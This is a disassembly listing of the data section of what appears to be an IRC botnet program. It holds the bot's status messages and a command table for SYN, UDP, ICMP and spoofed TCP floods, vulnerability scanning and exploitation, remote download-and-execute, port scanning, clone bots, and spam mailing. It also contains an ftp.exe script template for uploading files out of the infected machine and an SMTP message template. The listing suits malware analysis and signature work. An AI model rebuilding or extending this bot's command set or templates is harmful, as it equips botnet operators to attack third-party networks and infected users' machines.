dword_42ABD8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0040D251o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: seg000:0040D237o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1ACo
; seg000:loc_40DF8Do
align 4
dword_42AC28 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D139o
dd 2029206Ch, 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_42AC60 db 2 ; DATA XREF: seg000:loc_40D124o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCouldnTOpenF_0 db 'Couldn',27h,'t open file: %s',0
align 4
unk_42AC98 db 2 ; DATA XREF: seg000:0040D11Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFileOpenedS db 'File opened: %s',0
dword_42ACC8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D0F1o
dd 2029206Ch, 2BBBB02h
aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0
align 10h
dword_42AD00 dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: seg000:loc_40D0A2o
dd 2029206Ch, 2BBBB02h
aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0
align 4
dword_42AD3C dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
; DATA XREF: seg000:0040D077o
dd 2029206Ch, 2BBBB02h
aLookupSS_ db ' Lookup: %s -> %s.',0
dword_42AD6C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:loc_40D043o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin db ' Failed to terminate process: %s',0
align 10h
dword_42ADB0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040D039o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS db ' Process killed: %s',0
align 4
dword_42ADE8 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:loc_40CFE3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
align 10h
dword_42AE30 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040CFDCo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI db ' Process killed ID: %s',0
dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h, 27206465h
dd 2E277325h, 0
dword_42AE98 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:0040CF85o
dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h, 732520h
dword_42AEC0 dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
; DATA XREF: seg000:loc_40CF6Ao
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh
dd 2E746E65h, 0
unk_42AEF0 db 2 ; DATA XREF: seg000:0040CF60o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Dh ; m
db 69h, 72h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientNotOpen_ db ' Client not open.',0
dword_42AF20 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CF20o
dd 2029206Ch, 2BBBB02h
aReadFileFailed db ' Read file failed: %s',0
align 4
dword_42AF54 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CF0Co
dd 2029206Ch, 2BBBB02h
aReadFileComple db ' Read file complete: %s',0
align 4
aR: ; DATA XREF: seg000:loc_40CEA5o
unicode 0, <r>,0
dword_42AF90 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CE87o
dd 2029206Ch, 2BBBB02h, 65472020h, 736F6874h, 25203A74h
dd 2E73h
dword_42AFBC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CE4Co
dd 2029206Ch, 2BBBB02h
aUnableToExtrac db ' Unable to extract Gethost command.',0
align 10h
dword_42B000 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CE30o
dd 2029206Ch, 2BBBB02h
aGethostSComman db ' Gethost: %s, Command: %s',0
align 4
dword_42B038 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CDAEo
dd 2029206Ch, 2BBBB02h
aAliasAddedS_ db ' Alias added: %s.',0
align 4
dword_42B068 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CD70o
dd 2029206Ch, 2BBBB02h
aPrivmsgSS_ db ' Privmsg: %s: %s.',0
align 4
dword_42B098 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CD1Ao
dd 2029206Ch, 2BBBB02h
aActionSS_ db ' Action: %s: %s.',0
align 4
dword_42B0C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CCAFo
dd 2029206Ch, 2BBBB02h, 79432020h, 2E656C63h, 0
dword_42B0F0 dd 54524150h, 0D732520h, 0Ah ; seg000:0040D32Eo
dword_42B0FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040CC4Eo
dd 2029206Ch, 2BBBB02h
aModeChangeS db ' Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040CC40o
align 4
dword_42B138 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:0040CC17o
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_42B168 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:0040CBACo
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_42B198 dd 45444F4Dh, 732520hdword_42B1A0 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: seg000:0040CB25o
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_42B1D0 dd 4B43494Eh, 732520h ; seg000:0040D178o
dword_42B1D8 dd 4E494F4Ah, 20732520h, 7325hdword_42B1E4 dd 54524150h, 732520hdword_42B1EC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:loc_40CA36o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 4
dword_42B234 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040C9FFo
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: seg000:0040C9AEo
align 4
dword_42B268 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:loc_40C966o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_42B290 dd 25207325h, 73252073h, 73253A20h, 0 ; seg000:0040C9D9o ...
unk_42B2A0 db 2 ; DATA XREF: seg000:0040C8A9o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_42B2F8 db 2 ; DATA XREF: seg000:0040C88Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_42B348 db 2 ; DATA XREF: seg000:0040C822o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:0040C77Co
align 4
dword_42B394 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
; DATA XREF: seg000:0040C71Do
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh
dd 732520h
unk_42B3C0 db 2 ; DATA XREF: seg000:0040C712o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
dword_42B3F8 dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: seg000:loc_40C63Do
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_42B418 db 2 ; DATA XREF: seg000:0040C628o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42B450 db 2 ; DATA XREF: seg000:loc_40C606o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 4
unk_42B49C db 2 ; DATA XREF: seg000:0040C5FCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_42B4E8 db 2 ; DATA XREF: seg000:0040C582o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 4
unk_42B528 db 2 ; DATA XREF: seg000:0040C50Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToSta_10 db ' Failed to start clone thread, error: <%d>.',0
unk_42B574 db 2 ; DATA XREF: seg000:0040C49Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 4
unk_42B5B8 db 2 ; DATA XREF: seg000:0040C414o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_11 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_42B604 db 2 ; DATA XREF: seg000:0040C39Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 4
dword_42B648 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:0040C307o
dd 2029206Ch, 2BBBB02h
aFailedToSta_12 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_42B694 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:0040C28Do
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_42B6D4 db 2 ; DATA XREF: seg000:0040C21Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_42B728 db 2 ; DATA XREF: seg000:0040C1AEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 4
unk_42B768 db 2 ; DATA XREF: seg000:0040C0DCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_13 db ' Failed to start redirection thread, error: <%d>.',0
unk_42B7BC db 2 ; DATA XREF: seg000:0040C06Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_42B80C db 2 ; DATA XREF: seg000:0040BFE2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_42B85C db 2 ; DATA XREF: seg000:0040BF73o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:0040BEEFo
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: seg000:0040BDF5o
align 4
dword_42B8CC dd 54434101h, 204E4F49h, 17325h ; seg000:0040CCFBo
dword_42B8D8 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040BD08o
; seg000:0040D62Bo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_15 db ' Failed to start scan thread, error: <%d>.',0
dword_42B924 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040BC99o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: seg000:0040BC6Eo
; seg000:0040D58Fo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: seg000:0040BC67o
; seg000:0040D588o
align 10h
dword_42B9B0 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040BB26o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_16 db ' Failed to start scan, no IP specified.',0
align 4
dword_42B9FC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040B9DFo
; seg000:0040D3D3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 10h
dword_42BA50 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040B9AEo
dd 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0
align 4
dword_42BA9C dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: seg000:0040B93Fo
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040B875o
align 10h
unk_42BB10 db 2 ; DATA XREF: seg000:0040B860o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_42BB5C db 2 ; DATA XREF: seg000:0040B7F5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
dword_42BBB8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:loc_40B758o
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 4
dword_42BC04 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040B74Eo
dd 2029206Ch, 2BBBB02h
aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_42BC50 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040B6D4o
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: seg000:0040B6C4o
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:0040B6BDo
dword_42BCA8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:0040B628o
dd 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
dword_42BCE4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:loc_40B53Do
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_42BD24 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040B536o
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040B51Fo
aSS_3 db '-s:%s',0 ; DATA XREF: seg000:0040B508o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:0040B4E8o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: seg000:0040B4C4o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:0040B4B3o
align 4
dword_42BDA4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: seg000:0040B42Do
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 4
aFtp_upload db 'ftp.upload',0 ; DATA XREF: seg000:0040B40Ao
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: seg000:0040B3E4o
align 10h
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: seg000:0040B3CDo
align 10h
unk_42BE00 db 3 ; DATA XREF: seg000:0040B3C0o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ;
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:0040B34Co
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: seg000:0040B2ADo
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: seg000:0040B25Eo
align 10h
aUsa db 'usa',0 ; DATA XREF: seg000:0040B247o
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: seg000:0040B230o
align 4
aPg db 'pg',0 ; DATA XREF: seg000:0040B219o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: seg000:0040B202o
align 4
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: seg000:0040B1EBo
align 4
aPu db 'pu',0 ; DATA XREF: seg000:0040B1D4o
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: seg000:0040B1BDo
align 4
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: seg000:0040B1A6o
align 4
aVuln_start db 'vuln.start',0 ; DATA XREF: seg000:0040B178o
align 10h
aClone_ac db 'clone.ac',0 ; DATA XREF: seg000:0040B14Fo
align 4
aClone_action db 'clone.action',0 ; DATA XREF: seg000:0040B138o
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: seg000:0040B121o
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: seg000:0040B10Ao
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: seg000:0040B0F3o
align 10h
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: seg000:0040B0DCo
align 10h
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: seg000:0040B0C5o
align 10h
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: seg000:0040B0AEo
align 4
aD1 db 'd1',0 ; DATA XREF: seg000:0040B097o
align 4
aDonad_frwww db 'donad.frwww',0 ; DATA XREF: seg000:0040B080o
aSy1 db 'sy1',0 ; DATA XREF: seg000:0040B069o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: seg000:0040B052o
align 4
aDs_rm db 'ds.rm',0 ; DATA XREF: seg000:0040B03Bo
align 10h
aDs_ack db 'ds.ack',0 ; DATA XREF: seg000:0040B024o
align 4
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: seg000:0040B00Do
align 10h
aClone_start db 'clone.start',0 ; DATA XREF: seg000:0040AFF6o
aClone_make db 'clone.make',0 ; DATA XREF: seg000:0040AFDFo
align 4
aDdos_ic db 'ddos.ic',0 ; DATA XREF: seg000:0040AFB6o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: seg000:0040AF9Fo
align 4
aBox_mv db 'box.mv',0 ; DATA XREF: seg000:0040AF88o
align 4
aBox_rename db 'box.rename',0 ; DATA XREF: seg000:0040AF71o
align 10h
aBox_e db 'box.e',0 ; DATA XREF: seg000:0040AF5Ao
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: seg000:0040AF43o
aDownload_010 db 'download.010',0 ; DATA XREF: seg000:0040AF2Co
align 4
aDownload_up010 db 'download.up010',0 ; DATA XREF: seg000:0040AF15o
align 4
aEnz_de db 'enz.de',0 ; DATA XREF: seg000:0040AEFEo
align 4
aEnz_delay db 'enz.delay',0 ; DATA XREF: seg000:0040AEE7o
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: seg000:0040AED0o
align 10h
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: seg000:0040AEB9o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: seg000:0040AEA2o
aClone_part db 'clone.part',0 ; DATA XREF: seg000:0040AE8Bo
align 10h
aClone_j db 'clone.j',0 ; DATA XREF: seg000:0040AE74o
aClone_join db 'clone.join',0 ; DATA XREF: seg000:0040AE5Do
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: seg000:0040AE46o
align 10h
aClone_nick db 'clone.nick',0 ; DATA XREF: seg000:0040AE2Fo
align 4
aClone_m db 'clone.m',0 ; DATA XREF: seg000:0040AE18o
aClone_mode db 'clone.mode',0 ; DATA XREF: seg000:0040AE01o
align 10h
aClone_ra db 'clone.ra',0 ; DATA XREF: seg000:0040ADEAo
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: seg000:0040ADD3o
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: seg000:0040ADBCo
align 10h
aEnz_mode db 'enz.mode',0 ; DATA XREF: seg000:0040ADA5o
align 4
aEnz_cy db 'enz.cy',0 ; DATA XREF: seg000:0040AD8Eo
align 4
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: seg000:0040AD77o
align 10h
aEnz_ac db 'enz.ac',0 ; DATA XREF: seg000:0040AD60o
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: seg000:0040AD49o
align 4
aEnz_pm db 'enz.pm',0 ; DATA XREF: seg000:0040AD32o
align 4
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: seg000:0040AD1Bo
aEnz_aa db 'enz.aa',0 ; DATA XREF: seg000:0040AD04o
align 10h
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: seg000:0040ACEDo
align 10h
aEnz_gh db 'enz.gh',0 ; DATA XREF: seg000:0040ACC4o
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: seg000:0040ACADo
